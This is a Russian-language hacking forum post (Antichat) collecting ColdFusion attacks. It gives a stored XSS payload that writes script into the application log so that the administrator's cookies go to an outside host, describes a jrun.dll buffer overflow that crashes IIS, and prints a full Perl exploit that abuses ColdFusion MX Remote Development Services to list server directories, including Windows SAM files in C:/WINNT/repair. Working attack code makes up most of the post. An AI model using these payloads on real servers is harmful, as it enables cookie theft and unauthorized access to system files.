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Members of Antichat - Level 5
Регистрация: 23.08.2007
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XSS в СoldFusion 5.0
Администратор coldfusion может просматривать журнал приложений через Web браузер. Уязвимость позволяет атакующему записать произвольный Javascript код в application log, который будет выполнен при просмотре журнала администратором. Вот часть уязвимого кода:
<CFQUERY NAME="qProducts" DATASOURCE="#datasrc#">
SELECT * FROM Products
Where ProductId = #int(url.productid)#
</CFQUERY>
если функция INT сталкивается с не числовым значением, она выдает ошибку и пишет значение в журнал регистрации приложений. Если url.productid содержит что-то типа такого:
<iframe name="frame1" width="0" height="0"></iframe> <script>document.frame1.location="http://www.domain.com/index.cfm?stealcookie=" + document.cookie</script>
то при просмотре application log атакующий может похитить куки администратора, в которых хранится пароль в зашифрованном виде.
Переполнение буфера в Macromedia ColdFusion jrun.dll, приводящее к DoS'у IIS
Переполнение буфера обнаружено в ColdFusion MX server, когда он используется вместе с Microsoft IIS. При получении HTTP-заголовка, превышающего 4096 байт, и если template filename больше 8092 байт, произойдет переполнение в модуле 'jrun.dll'. Успешное использование баги может приводить к зависанию IIS и возможному выполнению произвольного кода.
ColdFusion MX Remote Development Service Exploit
PHP код:
#!/usr/bin/perl
# RDS_c_Dump.pl
# By angry packet
##
# THIS IS AN UNPATCHED VULNERABILITY - THIS IS AN UNPATCHED VULNERABILITY
#
# ColdFusion 6 MX Server does several things in order to get remote dir structure so we will need
# to recreate these functions. This is a "almost" complete emulation of a dreamweaver client connection,
# in like one full HTTP1/1 session witin netcat.
#
# I would like to point out that the ASPSESSID never validates so you can change this on the fly.
#
# Due to certian current situations I am not allowed to release full exploit code with
# ( READ, RETRIEVE, WRITE ) functions.
#
# Sample output:
# --------------------------------
# Vic7im1@cipher:~/Scripts/RDS_Sploit$ perl RDS_c_Dump.pl
#
# POST /CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio HTTP/1.1
#
# Request String Value: 3:STR:15:C:/WINNT/repairSTR:1:*STR:0:
# Content-Length: 37
# Please wait.. ..
# HTTP/1.1 100 Continue
# Server: Microsoft-IIS/5.0
# Date: Tue, 01 Jul 2003 10:30:43 GMT
#
# HTTP/1.1 200 OK
# Server: Microsoft-IIS/5.0
# Date: Tue, 01 Jul 2003 10:30:43 GMT
# Connection: close
# Content-Type: text/html
#
# 50:2:F:11:autoexec.nt1:63:4383:0,02:F:9:config.nt1:64:25773:0,02:F:7:default1:66:1187843:0,
# 02:F:10:ntuser.dat1:66:1187843:0,02:F:3:sam1:65:204803:0,
# 02:F:12:secsetup.inf1:66:5735303:0,02:F:8:security1:65:286723:0,
# 02:F:9:setup.log1:66:1551943:0,02:F:8:software1:67:65331203:0,02:F:6:system1:66:9748483:0,0
# Vic7im1@cipher:~/Scripts/RDS_Sploit$
# ----------------------------------
use strict;
use IO::Socket;
use vars qw($response @clength @rarray);
## Dreamweaver string requests to ide.cfm
## --------------------------------------
#1: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#2: 3:STR:7:C:/_mm/STR:1:*STR:0: Content-Length: 28
#3: 3:STR:6:C:/_mmSTR:9:ExistenceSTR:0:STR:0:STR:0: Content-Length: 47
#4: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#5: 3:STR:10:C:/_notes/STR:1:*STR:0: Content-Length: 32
#6: 5:STR:9:C:/_notesSTR:9:ExistenceSTR:0:STR:0:STR:0 Content-Length: 50
#7: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#8: 5:STR:12:C:/XYIZNWSK/STR:6:CreateSTR:0:STR:0:STR:0: Content-Length: 51
#9: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#10: 3:STR:3:C:/STR:1:*STR:0: Content-Length: 24
#11: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#12: 5:STR:11:C:/XYIZNWSKSTR:9:ExistenceSTR:0:STR:0:STR:0: Content-Length: 53
#13: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#14: 5:STR:11:C:/XYIZNWSKSTR:9:ExistenceSTR:0:STR:0:STR:0: Content-Length: 53
#15: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#16: 5:STR:11:C:/XYIZNWSKSTR:6:RemoveSTR:0:STR:0:DSTR:0: Content-Length: 51
#17: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#18: 3:STR:8:C:/WINNTSTR:1:*STR*STR:0: Content-Length: 29
#19: 3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0: Content-Length: 46
#20: 3:STR:15:C:/WINNT/repairSTR:1:*STR:0: Content-Length: 37
# Static Content-Lenght: $string_val if you plan on leaving C:\WINNT\repair you will need to know
# the $string_val.
@clength = ( "Content-Length: 46",
"Content-Length: 28",
"Content-Length: 47",
"Content-Length: 46",
#"Content-Length: 32",
#"Content-Length: 50",
"Content-Length: 46",
"Content-Length: 51",
"Content-Length: 46",
"Content-Length: 24",
"Content-Length: 46",
"Content-Length: 53",
"Content-Length: 46",
"Content-Length: 53",
"Content-Length: 46",
"Content-Length: 51",
"Content-Length: 46",
"Content-Length: 29",
"Content-Length: 46",
"Content-Length: 37"
);
@rarray = ( "3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"3:STR:7:C:/_mm/STR:1:*STR:0:",
"3:STR:6:C:/_mmSTR:9:ExistenceSTR:0:STR:0:STR:0:",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
#"3:STR:10:C:/_notes/STR:1:*STR:0:",
#"5:STR:9:C:/_notesSTR:9:ExistenceSTR:0:STR:0:STR:0",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"5:STR:12:C:/XYIZNWSK/STR:6:CreateSTR:0:STR:0:STR:0:",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"3:STR:3:C:/STR:1:*STR:0:",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"5:STR:11:C:/XYIZNWSKSTR:9:ExistenceSTR:0:STR:0:STR:0:",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"5:STR:11:C:/XYIZNWSKSTR:9:ExistenceSTR:0:STR:0:STR:0:",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"5:STR:11:C:/XYIZNWSKSTR:6:RemoveSTR:0:STR:0:DSTR:0:",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"3:STR:8:C:/WINNTSTR:1:*STR*STR:0:",
"3:STR:14:ConfigurationsSTR:10:6, 0, 0, 0STR:0:",
"3:STR:15:C:/WINNT/repairSTR:1:*STR:0:"
);
system("clear");
# change target addy below.
my $TARGET = "192.168.0.100";
my $PORT = "80";
my $STRING = "C:/WINNT/repair";
my $POST = "POST /CFIDE/main/ide.cfm?CFSRV=IDE&ACTION=BrowseDir_Studio HTTP/1.1\r\n";
print "Generating Socket with Array Directory Values.\n";
my ( $i, $c);
for ( $i = 0; $i < @rarray; $i++ ) {
for ( $c = 0; $c < @clength; $c++ ) {
if( $i == $c ) {
&gen_sock($TARGET, $PORT, $rarray[$i], $clength[$c]);
}
}
}
sub gen_sock() {
my $sock = new IO::Socket::INET(PeerAddr => $TARGET,
PeerPort => $PORT,
Proto => 'tcp',
);
die "Socket Could not be established ! $!" unless $sock;
print "Target: $TARGET:$PORT\n";
print "$POST\n";
print "Request String Value: $rarray[$i]\n";
print "$clength[$c]\n";
print "Please wait.. ..\n";
print $sock "$POST";
print $sock "Content-Type: application/x-ColdFusionIDE\r\n";
print $sock "User-Agent: Dreamweaver-RDS-SCM1.00\r\n";
print $sock "Host: $TARGET\r\n";
print $sock "$clength[$c]\r\n";
print $sock "Connection: Keep-Alive\r\n";
print $sock "Cache-Control: no-cache\r\n";
print $sock "Cookie: ASPSESSIONIDQQQQGLDK=LPIHIKCAECKACDGPJCOLOAOJ\r\n";
print $sock "\r\n";
print $sock "$rarray[$i]";
# lets return and print data to term
while($response = <$sock>) {
chomp($response);
print "$response\n";
}
close($sock);
}
# milw0rm.com [2003-07-07]
Последний раз редактировалось Ded MustD!e; 27.05.2008 в 16:23..
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